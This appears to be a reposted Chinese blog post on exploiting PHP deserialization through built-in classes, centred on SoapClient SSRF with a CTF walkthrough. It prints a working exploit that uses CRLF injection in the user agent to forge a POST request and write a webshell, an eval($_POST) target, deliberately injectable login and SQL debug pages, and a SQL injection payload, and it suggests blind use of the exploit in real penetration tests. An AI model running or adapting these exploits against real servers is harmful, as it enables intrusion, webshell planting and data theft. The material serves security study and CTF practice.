關於PHP內部類的一些總結學習


前言:

  這篇文章主要對一些可以進行反序列化的php內置類的分析總結(膜lemon師傅之前的總結),當然不是所有的php內置類在存在反序列化漏洞時都能夠直接利用,有些類不一定能夠進行反序列化,php中使用了zend_class_unserialize_deny來禁止一些類的反序列化,比如序列化DirectoryIterator的時候,DirectoryIterator主要用來輸出目錄,用法如下圖

 

1.Soapclient

soapclient有兩種工作模式,wsdl和非wsdl模式,WSDL 用來描述如何訪問具體的接口,soap協議的具體格式可以參考這篇文章,soap采用http或者https協議發送數據,並且在http header頭中通過soap action來標示自己是一個soap請求

https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html

如果是在非wsdl模式下,將可以通過指定配置選項location和url來進行網絡請求的發送,那就意味着我們可以通過該內置類來進行ssrf,當然需要有反序化條件為基礎,通過觸發其__call方法來發送網絡請求,為啥要調用call方法來觸發,我看了看php的源碼,在ext/soap擴展里面發現了如下:

首先定位到定義__call方法的函數處,php源碼定義某個方法是通過php_method前綴

然后調用了do_soap_call方法

然后就通過php源碼中的do_request方法來發送網絡請求

exp(來自wupco師傅):

<?php
$target = 'http://127.0.0.1/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: xxxx=1234'
    );
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "aaab"));
//因為user-agent是可以控制的,因此可以利用crlf注入http頭來發送post請求
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);

$c=unserialize(urldecode($aaa));
$c->ss();  //調用_call方法觸發網絡請求發送
?>
<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
    echo 'hi';
    @$a=$_POST[1];
    @eval($a);

}
 ?>

執行exp后已經成功寫入shell.php,說明反序列化soapclient對象成功,並且網站也是有權限寫進去的,所以還是要對反序列化的數據進行嚴格過濾

如果是GET請求,就簡單得多,只需要構造好location就可以

暨南大學2018校賽的一道CTF題

要利用反序列化soapclient當然要求服務器上的php開啟了soap擴展,那么題目中給了phpinfo,可以看到soap是開啟的,實際滲透測試中遇到反序列化的點,可以用exp盲打

給了兩個php的源碼:

index.php

<?php

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(-1);

class Auth {
    public $username = '';
    public $login = 0;

    public function verify() {
        return 'FALSE';
    }
}

?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form action="" method="POST">
    <table>
        <tr>
            <td>Username</td>
            <td><input type="text" name="username"></td>
        </tr>
        <tr>
            <td>Password</td>
            <td><input type="password" name="password"></td>
        </tr>
        <tr>
            <td>Remember me <input type="checkbox" name="rememberme"></td>
            <td><input type="submit" value="Submit"></td>
        </tr>
    </table>
</form>
<p>
<?php

if (isset($_POST['username'])) {
    $auth = new Auth();
    $auth->username = $_POST['username'];
    setcookie('auth', base64_encode(serialize($auth)));
} elseif (isset($_COOKIE['auth'])) {
    $auth = unserialize(base64_decode($_COOKIE['auth']));
}

if (isset($auth)) {
    echo $auth->verify();
}

?>
</p>
</body>
</html>

sqldebug.php

<?php
include_once('db.php');

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
    die('you need to be 127.0.0.1');
}

$uid = isset($_GET['uid']) ? $_GET['uid'] : 1;
if (preg_match('/information_schema|database|sleep|benchmark|select(\/\*|[\(`\x00-\x20])/i', $uid)) {
    die('NONONO!');
}

$db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);

$sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";

$result = $db->query($sql);
$result = $result->fetch_assoc();
echo $result[COLUMN_USERNAME];

mysqli_close($db);
?>

 這里的$uid過濾不嚴格,導致可以注入,比如最簡單的payload就為:

$location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23  #將location替換即可

后面注入細節不再說了,具體注入分析見:

https://xz.aliyun.com/t/2960#toc-0

2.SimpleXMLElement

具體就是利用實例化該類的對象來傳入xml代碼進行xxe攻擊

 https://www.vulnspy.com/cn-ripstech-presents-php-security-calendar-2017/#M-tbRemYKdmb5mr4dRCndhHCM5YaFRaRf8

3.利用魔術方法__toString

a.Error----適用於php7版本----XSS

b.Exception----適用於php5、7版本----XSS

兩個用法見lemon師傅博客https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

 參考(侵刪):

https://xz.aliyun.com/t/2960#toc-0

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM